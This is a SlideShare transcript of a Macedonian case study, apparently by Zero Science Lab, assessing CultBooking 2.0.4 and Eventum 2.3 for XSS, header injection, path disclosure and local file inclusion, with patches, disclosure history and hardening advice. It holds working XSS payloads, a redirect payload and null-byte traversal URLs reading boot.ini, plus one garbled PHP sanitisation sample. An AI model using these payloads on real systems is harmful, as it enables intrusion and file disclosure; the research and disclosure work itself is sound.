Информациско безбедносна проценка на веб апликации (изучување на случај)
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Информациско безбедносна проценка на веб апликации (изучување на случај)

on

  • 2,329 views

Информациско безбедносна проценка на веб апликациите Eventum и Cultbooking. (in-house web application security assessment)

Информациско безбедносна проценка на веб апликациите Eventum и Cultbooking. (in-house web application security assessment)

Statistics

Views

Total Views
2,329
Views on SlideShare
2,276
Embed Views
53

Actions

Likes
1
Downloads
16
Comments
0

5 Embeds 53

http://www.linkedin.com 24
http://zeroscience.mk 18
http://liquidworm.blogspot.com 6
https://www.linkedin.com 4
http://www.slideshare.net 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Информациско безбедносна проценка на веб апликации (изучување на случај) Document Transcript

  • 1. Информациско безбедносна проценка на веб апликации (изучување на случај)Секоја веб базирана апликација би требало да се тестира од грешки и багови (QA -http://en.wikipedia.org/wiki/Quality_assurance) уште кога е во својата развојна фаза. Дури и откако ќеизлезе финалниот продукт, после додавањето на модули и нови ажурирања и додавање на новифункционалности, апликацијата, доколку производителот ја смета за сериозна и доколку се грижи забезбедноста на истата како и за безбедноста на своите клиенти кои ја користат, би требало даизвршува периодична безбедносна проценка или пенетрациско тестирање (пентест) и зацврстувањена веб апликацијата.Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедноснагледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивназакрпа.Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz DigitalMedia и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот наMySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи ислично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија.Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликацииод нивните официјални веб страни и ја поставувам околината за тестирање со сите потребнимодули.Во моментот на ова пишување, најновите верзии се:1. CultBooking 2.0.4 - http://sourceforge.net/projects/cultbooking [3.454 KB]2. Eventum 2.3 - https://launchpad.net/eventum [3.080 KB]За овој вид на тестирање (in-house), околината содржи:- GNU/Linux Fedora 10- MS Windows XP Pro SP3- XAMPP - http://www.apachefriends.org/en/xampp.htmlZero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 2. 1. Запознавање со целтаЗапознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она штосакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. Зашто служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсоти запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија наизворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користиавторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) нацелта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да седојде до успешни резултати од анализата.Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системотна работа кај апликациите, продолжувам со следниот чекор.2. Креирање на листа од безбедносни тест алатки "Man is a tool-using animal. Without tools he is nothing, with tools he is all." - Thomas CarlyleНема да објаснувам како се користат алатките туку само ќе набројам неколку бесплатни и кориснибезбедносни алатки кои ги користев во ова сценарио:* Mozilla Firefox - веб прелистувач - http://www.mozilla.com/en-US/firefox/* TamperData - firefox екстензија за следење и модификација на HTTP/S побарувања -http://tamperdata.mozdev.org/* HackBar - firefox екстензија, toolbar кој ви помага во тестирање на безбедноста на сајтови -https://code.google.com/p/hackbar/* Fiddler - веб дебагер - http://www.fiddler2.com/fiddler2/* Firebug - firefox екстензија за уредување, дебагирање и мониторинг на html, css и js во вебсајтови - http://getfirebug.com/* N-Stalker - безбедносен скенер за веб апликации - http://www.nstalker.com/products/free* Acunetix - скенер за веб безбедност - http://www.acunetix.com/cross-site-scripting/scanner.htm* Websecurify - безбедносно тестирање на веб апликации - http://www.websecurify.com/download* Powerfuzzer - веб fuzzer (стрес алатка) - http://www.powerfuzzer.com/* PuzlBox - PHP fuzzer (динамична анализа на програм) - http://sourceforge.net/projects/puzlbox1/* OWASP Zed Attack Proxy (ZAP) - алатка за пенетрациско тестирање и пронаоѓање наранливости во веб апликации (поранешен Paros - http://www.parosproxy.org/) -http://code.google.com/p/zaproxy/* Burp Suite - платформа за тестирање на веб апликации - http://www.portswigger.net/burp/* WebSlayer - bruteforcer за веб апликации - http://code.google.com/p/webslayer/* Pixy - статична анализа на изворен код (SQLi/XSS) - http://pixybox.seclab.tuwien.ac.at/pixy/* w3af - конструкција за папад и ревизија на веб апликации - http://w3af.sourceforge.net/* Samurai - конструкција за веб тестирање - http://samurai.inguardians.com/Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 3. 3. Истражување и анализа3.1 CultBookingОткако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости согоренаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдовнеколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, FileDisclosure и Path Disclosure ранливост.XSS POST Injection:- Ранливи POST параметри: bookingcode и email------------------------- HTTP Request -------------------------POST /cultbooking/cultbooking.php HTTP/1.1Content-Length: 136Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401Firefox/3.1Accept-Encoding: gzip,deflateKeep-Alive: 50Connection: Keep-Alivebookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentdZero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 4. utycode=1429741cfe1700d7&lang=de&hcode=11225&action=cancelbooking------------------------------------------------------------------------------------------------- HTTP Respond ----------------------------HTTP/1.1 200 OKDate: Sun, 16 Jan 2011 16:04:25 GMTServer: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1X-Powered-By: PHP/5.3.1Content-Length: 5386Keep-Alive: timeout=5, max=80Connection: Keep-AliveContent-Type: text/html; charset=utf-8------------------------------------------------------------------------HTML Injection преку Header Attack:- Ранлива променлива: Host------------------------- HTTP Request -------------------------POST /cultbooking/cultbooking.php HTTP/1.1Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"Content-Length: 19Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401Firefox/3.1Accept-Encoding: gzip,deflateKeep-Alive: 50Connection: Keep-Aliveaction=cancellation------------------------------------------------------------------------------------------------- HTTP Respond ----------------------------HTTP/1.1 200 OKDate: Sun, 16 Jan 2011 16:04:58 GMTServer: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1X-Powered-By: PHP/5.3.1Content-Length: 5335Keep-Alive: timeout=5, max=95Connection: Keep-AliveContent-Type: text/html; charset=utf-8------------------------------------------------------------------------Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 5. XSS GET:- Ранлив параметар: lang------------------------- HTTP Request -------------------------GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401Firefox/3.1Accept-Encoding: gzip,deflateKeep-Alive: 50Connection: Keep-Alive------------------------------------------------------------------------------------------------- HTTP Respond ----------------------------HTTP/1.1 200 OKDate: Sun, 16 Jan 2011 16:04:23 GMTServer: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1X-Powered-By: PHP/5.3.1Keep-Alive: timeout=5, max=95Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8------------------------------------------------------------------------Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можемепонекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големии мали букви, хексадецимални карактери и т.н. Еве неколку референци:Преусмерување:http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46,109, 107);</script>http://www.asciitable.com/Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 6. http://seclists.org/pen-test/2007/Jan/95http://devteev.blogspot.com/2010/08/null-byte.htmlhttp://devteev.blogspot.com/2009/08/null-byte.htmlhttp://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txthttp://www.ush.it/2009/02/08/php-filesystem-attack-vectors/http://ptresearch.blogspot.com/2010/08/another-alternative-for-null-byte.htmlhttp://raz0r.name/articles/null-byte-alternative/http://www.elartedeprogramar.cl/seguridad_web/advanced_postgrest_sql_injection_and_filter_bypass_techniques_190.0.htmlhttp://ha.ckers.org/sqlinjection/http://ha.ckers.org/xss.htmlи т.н.Разоктривање на патеката на апликацијата (http://www.owasp.org/index.php/Full_Path_Disclosure)обично доаѓа заедно со некоја друга ранливост поради несоодветно справување со грешки. Во овојслучај таа се појавува и во LFI и во XSS нападите. Едноставно на крајот на секој параметар додадетего карактерот: (%27) или било што друго освен потребното и ќе ви биде претставена целоснатапатека на веб директориумот на веб серверот. Пр:http://127.0.0.1/cultbooking/cultbooking.php?lang=Local File Inclusion / File Disclosure:- Ранлив параметар: lang- Зависно од magic_quotes_gpc=offhttp://127.0.0.1/cultbooking/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00http://127.0.0.1/cultbooking/cultbooking.php?lang=../../../boot.ini%00Ранливата функција можеме да ја погледнеме со следење на изворниот код во самата апликација:cultbooking.php скриптата ја отворам во мојот омилен текст едитор и го разгледувам текот завклучување на функцијата и класите за јазикот. Во cultbooking.php гледам:Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 7. require_once(Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php);навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.phpподатокот. По детално разгледување доаѓам до скриптата:cultbooking.languageNS.languageImpl.class.php во која го има следниов код:----------------------------------------------------------<?php/** implement the methods of cultbookingВ§languageNSВ§languageImplSkel.class.php. */class cultbookingВ§languageNSВ§languageImpl extends cultbookingВ§languageNSВ§languageImplSkel{ var $incfile; public function providetransLang() { return $this; } public function localization($incfile) { $this->incfile = $incfile; } public function translate($str) { include $this->incfile .".inc"; return $$str; }}?>----------------------------------------------------------Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеледа бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само сопропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример:passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). КласатаcultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податоккако што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стринготможеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде доосетливи информации на заразениот систем со пропатување на директориуми или пак да извршуваHTML код во корисничкиот прелистувач со помош на XSS напад.Пример за побезбедно санирање/валидација:<?php$file = <?php$file = preg_replace(‘/[^a-zA-Z0-9_]/’,”,addslashes($_GET[file]));$readfile = readfile($file);?>($_GET[file]));$readfile = readfile($file);?>За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и одPath Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешнода извршат напад, пример: %00 во 0, но не се препорачува користење на magic quotes заизбегнување на податоци.Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 8. Споредба и закрпи:Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 9. Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставнокористење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување,избегнување и нејзино зацврстување.Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 10. 3.2 EventumИсто и за оваа апликација истите чекори како за претходната апликација во која најдов Stored(Persistent) складирана Cross-Site Scripting ранливост. Тоа значи дека кога и да се вратите наапликацијата, скриптата ќе се извршува кога ќе ја повикате ранливата страна.POST Stored/Persistent XSS:- Ранлива скрипта: list.php, ранлив параметар: keywordsPOST /eventum-2.3/htdocs/list.php?keywords=<script>alert(ZSL)<%2Fscript> HTTP/1.1RESPONSE: HTTP/1.1 200 OKОткако се најавив (post-auth) и после извршувањето на побарувањето, малициозниот стринг евметнат и складиран додека рачно не се избрише. Исто така, самата апликација, складираниотстринг го извршува на секои 5 минути се додека не ја затворите страницата (page self-refresh/session). Тест со помош на оставање на стрингот:<script>alert(Date())</script> во search полето...Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 11. Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 12. Закрпа:Reflected/Non-Persistent XSS:forgot_password.php и select_project.php се исто така ранливи на XSS нападот поради немањефилтрирање кога ја користат REQUEST_URI променливата. Ја тестирав и верзијата 2.2:GET /eventum-2.3/htdocs/forgot_password.php/>"><script>alert(ZSL)</script>GET /eventum-2.2/forgot_password.php/>"><script>alert(ZSL)</script>GET /eventum-2.2/select_project.php/>"><script>alert(ZSL)</script>-----------------------------------------------Скрипта: eventum-2.3/lib/eventum/class.auth.php:Line 90: $failed_url .= "&url=" . urlencode($_SERVER[REQUEST_URI]);Line 131: self::redirect("select_project.php?url=" . urlencode($_SERVER[REQUEST_URI]),$is_popup);--Скрипта: eventum-2.3/templates/current_filters.tpl.htmlLine: 11: <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if}--Скрипта: eventum-2.3libpearHTTP.php:Line 318: $url = isset($_SERVER[REQUEST_URI]) ?Line 319: $_SERVER[REQUEST_URI] : $_-----------------------------------------------Ранливоста се наоѓа во папката templates во следниве фајлови:- current_filters.tpl.html- forgot_password.tpl.html- select_project.tpl.html(+ е додаден код или закрпен, - е одстранет код):---------------------------------------------------------------------------=== modified file templates/current_filters.tpl.html--- templates/current_filters.tpl.html 2008-07-22 20:19:52 +0000+++ templates/current_filters.tpl.html 2011-01-24 03:14:02 +0000@@ -8,7 +8,7 @@Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 13. <td class="default"> {t}Current filters:{/t}&nbsp; {foreach from=$active_filters name=active_filters key=filter_nameitem=filter_value}- <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last};{/if}+ <b>{$filter_name}</b>: {$filter_value|escape:"html"}{if!$smarty.foreach.active_filters.last}; {/if} {foreachelse} <i>{t}None{/t}</i> {/foreach}=== modified file templates/forgot_password.tpl.html--- templates/forgot_password.tpl.html 2010-10-07 11:43:46 +0000+++ templates/forgot_password.tpl.html 2011-01-24 03:14:02 +0000@@ -23,7 +23,7 @@ {include file="yellow_note.tpl.html" content=$note_message} {/if} <br />-<form name="email_form" onSubmit="return validateForm(this);" method="post"action="{$smarty.server.PHP_SELF}">+<form name="email_form" onSubmit="return validateForm(this);" method="post" action=""><input type="hidden" name="cat" value="reset_password"><table align="center" width="500" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000"><tr>=== modified file templates/select_project.tpl.html--- templates/select_project.tpl.html 2010-10-07 11:43:46 +0000+++ templates/select_project.tpl.html 2011-01-24 03:14:02 +0000@@ -16,7 +16,7 @@ //--> </script> {/literal}-<form name="login_form" onSubmit="return validateForm(this);" method="post"action="{$smarty.server.PHP_SELF}">+<form name="login_form" onSubmit="return validateForm(this);" method="post" action=""> <input type="hidden" name="cat" value="select"> <input type="hidden" name="url" value="{$smarty.get.url}"> <table align="center" width="400" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000">---------------------------------------------------------------------------Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 14. Следење на измените од Eventum тимот (пред официјално објавување на нова верзија):https://code.launchpad.net/~eventum-developers/eventum/trunkZero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 15. 4. Безбедносни предупредувања, пријавување, одговорностПосле секој пронајдок, индивидуално зависи дали ќе го пријавите тој пронајдок на производителотсо надеж за соработка и координирано објавување на безбедносно предупредување (етички) илипак веднаш со објавување (не-етички) или пак воопшто (за приватни цели).Иако се обидував да воспоставам комуникација со тимот на CultBooking, не добив одговор, порадишто, за неколку дена ги објавив и безбедносните предупредувања за пошироката јавност (спореднашата полиса за обелоденување). Дури по 2 недели од објавувањето, бев известен од господинотUwe Steinbach од Cultuzz тимот дека објавиле закрпена верзија 2.0.5.Тимот на CultBooking во овој случај одиграа многу не одговорно па може да се каже и малку дрско.За поздрав е тимот на Eventum поради својата инволвираност и активност, и поради реагирањеведнаш на пријавените ранливости и грижа за безбедноста на својата апликација. Добија целоснасоработка и поддршка и разумно време за креирање на закрпата. Безбедноста на информации требада се сфати сериозно. Откако ги пријавив ранливостите, господинот Bryan Alsdorf и Elan Ruusamäeразвија закрпа за помалку од два дена, после кое следеше официјално објавување на новатаверзија, 2.3.1.Безб. предупредување ID: ZSL-2011-4987Наслов: CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD VulnerabilitiesВрска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4987.phpБезб. предупредување ID: ZSL-2011-4988Наслов: CultBooking 2.0.4 (lang) Local File Inclusion VulnerabilityВрска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4988.phpБезб. предупредување ID: ZSL-2011-4989Наслов: Oracle MySQL Eventum 2.3 Remote Script Insertion VulnerabiliesВрска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4989.php5. ПрепоракиКога развивате веб апликации, било да сте програмер или проект менаџер, би требало секогаш да јаимате безбедноста на ум. Постојат такви техники и функции кои ви овозможуваат да развиетепостабилна и побезбедна апликација за вашите клиенти. Исто така постојат и Web ApplicationFirewall (WAF) апликации и за Windows и за Linux. (Еве некоја листа:http://www.owasp.org/index.php/Web_Application_Firewall)Користете избегнувања на специјални карактери каде што треба, санирање на формулари и скриптишто качуваат (upload) податоци, валидација, двојна проверка на функции со бази на податоци и сл.Функции како:htmlspecialchars(), htmlentities(), mysql_real_escape_string(), addslashes(), preg_match(),stip_tags(), nl2br(), escapeshellarg() и т.н.Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 16. Извршувајте безбедносни проценки и следете ги најновите вести од безбедносната индустрија какои порталите што објавуваат нови ранливости и техники на заобиколување на безбедноснитемеханизми.6. Корисни линкови и референци- http://zeroscience.mk/mk/vulnerabilities/- http://koduleht.eu/phptest/index.php- http://koduleht.eu/phptest/taketest.php?11- http://www.phpfreaks.com/tutorial/php-security- http://grasp.coresecurity.com/index.php?m=chl- http://www.ibm.com/developerworks/opensource/library/os-php-secure-apps/index.html- http://net.tutsplus.com/tutorials/php/5-helpful-tips-for-creating-secure-php-applications/- http://it.com.mk/lista-na-softver-za-revizija-na-izvoren-kod/- http://www.gnucitizen.org/static/blog/2008/04/php-code-analysis-real-world-examples.pdf- http://exploit-db.com- http://secunia.com- http://php-ids.org/- http://osvdb.org- http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet- http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet- http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet- http://www.owasp.org/index.php/URL_Access_Prevention_Cheat_Sheet- http://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet- http://www.owasp.org/index.php/Esapi- http://ha.ckers.org/xss.html- http://phpsec.org/projects/guide/- http://www.acunetix.com/websitesecurity/php-security-1.htm- http://securitytube.net- http://packetstormsecurity.org- http://securityfocus.com- http://vupen.com- http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents- Book: The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities одMark Dowd, John McDonald и Justin Schuh. Ѓоко Крстиќ gjoko@zeroscience.mkZero Science Lab | www.zeroscience.mk Jan-Feb, 2011